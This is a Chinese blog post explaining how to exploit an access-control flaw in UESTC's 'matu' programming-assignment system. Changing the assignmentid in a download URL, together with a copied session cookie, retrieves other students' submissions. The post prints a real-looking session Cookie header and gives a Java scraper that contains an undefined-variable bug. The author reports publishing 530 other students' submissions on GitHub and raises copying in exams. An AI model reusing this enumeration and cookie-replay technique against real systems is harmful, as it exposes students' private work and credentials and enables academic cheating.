很久以前发现在浏览器里直接粘贴url就能自动下载码图提交的文件。而且是没有权限的,意味着你能下载到所有码图提交。而且对于请求次数也是没有限制的。

比如在已经登录码图的浏览器中复制这个url:http://matu.uestc.edu.cn/aptat/file/downloadassignmentfile?assignmentid=1038358

浏览器就会自动下载这个文件。

这时候就有人好奇了,把assignmentid改成1038357会怎么样?会下载到另一个人的提交,这一个提交是在你之前的最近一个提交。

最早的提交我看到id=72650,是2015年9月10号的提交,来自学号20140601xxxx的学长,题目是20_生成前n个自然数的一个随机置换。

那么能不能把所有的码图提交都下载下来呢?只要借助一个叫Open multiple url at one click的chrome插件,将你所想要下载的码图文件url贴进去,chrome就会给你下载了。

那么,假如我没有登录matu怎么办,或者我没有浏览器怎么办,又或是我能不能把码图的所有提交下载下来呢?

那应该怎么做呢,码图会拦截没有登录的请求,这时就要用cookies骗过matu了,借助代理软件,可以看到

get请求会带header,其中有cookie字段

1
Cookie:	JSESSIONID=ADCFAD008D39D46910DB82255253AD2E; III_EXPT_FILE=aa48738; III_SESSION_ID=d55956838bd4bf7c44eae6dbedc5d20a; SESSION_LANGUAGE=eng; zg_did=%7B%22did%22%3A%20%221784dfce5e2433-04d99af797b1f2-5771133-fa000-1784dfce5e3d03%22%7D; zg_=%7B%22sid%22%3A%201625496021694%2C%22updated%22%3A%201625496021698%2C%22info%22%3A%201625496021697%2C%22superProperty%22%3A%20%22%7B%7D%22%2C%22platform%22%3A%20%22%7B%7D%22%2C%22utm%22%3A%20%22%7B%7D%22%2C%22referrerDomain%22%3A%20%22eportal.uestc.edu.cn%22%2C%22cuid%22%3A%20%222019081305013%22%2C%22zs%22%3A%200%2C%22sc%22%3A%200%2C%22firstScreen%22%3A%201625496021694%7D; iPlanetDirectoryPro=tH0Ds91VHf5CpQJkwG4p3v

只要在请求头加上这个字段,就可以骗过拦截器了。

写了一个java程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package matudownload;

import com.sun.net.httpserver.Headers;
import org.jsoup.Connection;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;

import java.io.*;

public class downLoad {
    public static void download(String url,String filepath,String cookie)throws Exception {

            Connection con=Jsoup.connect(url);
            con.header("Cookie",cookie);
            Connection.Response res=con.method(Connection.Method.GET).execute();
         
            String head=res.header("content-disposition");
            String str=new String(head1.getBytes("ISO-8859-1"),"GBK");
            //注意http请求的header要求其中文必须为iso8859-1编码,此时需要转化成gbk编码
            str=str.toString().substring(21,str.length()-1);

            BufferedWriter bw = new BufferedWriter
                    (new OutputStreamWriter(new FileOutputStream(filepath)));
             bw.write(new String(res.body().toString()));
            bw.flush();
            bw.close();   
    }
   
    public static void main(String[] args) {
        try {
         String cookie="";
           //cookie需要你从已登陆matu的浏览器中获取 
            download("http://matu.uestc.edu.cn/aptat/file/downloadassignmentfile?assignmentid=1038000","D:/download",cookie);    
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我在github仓库上传了1038000-1038530的530个提交,大家可以参考别人的matu提交代码互相学习。

https://github.com/BachWV/matu/tree/main/allMatuCommit

至于部分码图考试能不能用这种方法抄到别人的提交,我不知道,也希望码图早日把这个漏洞给补上。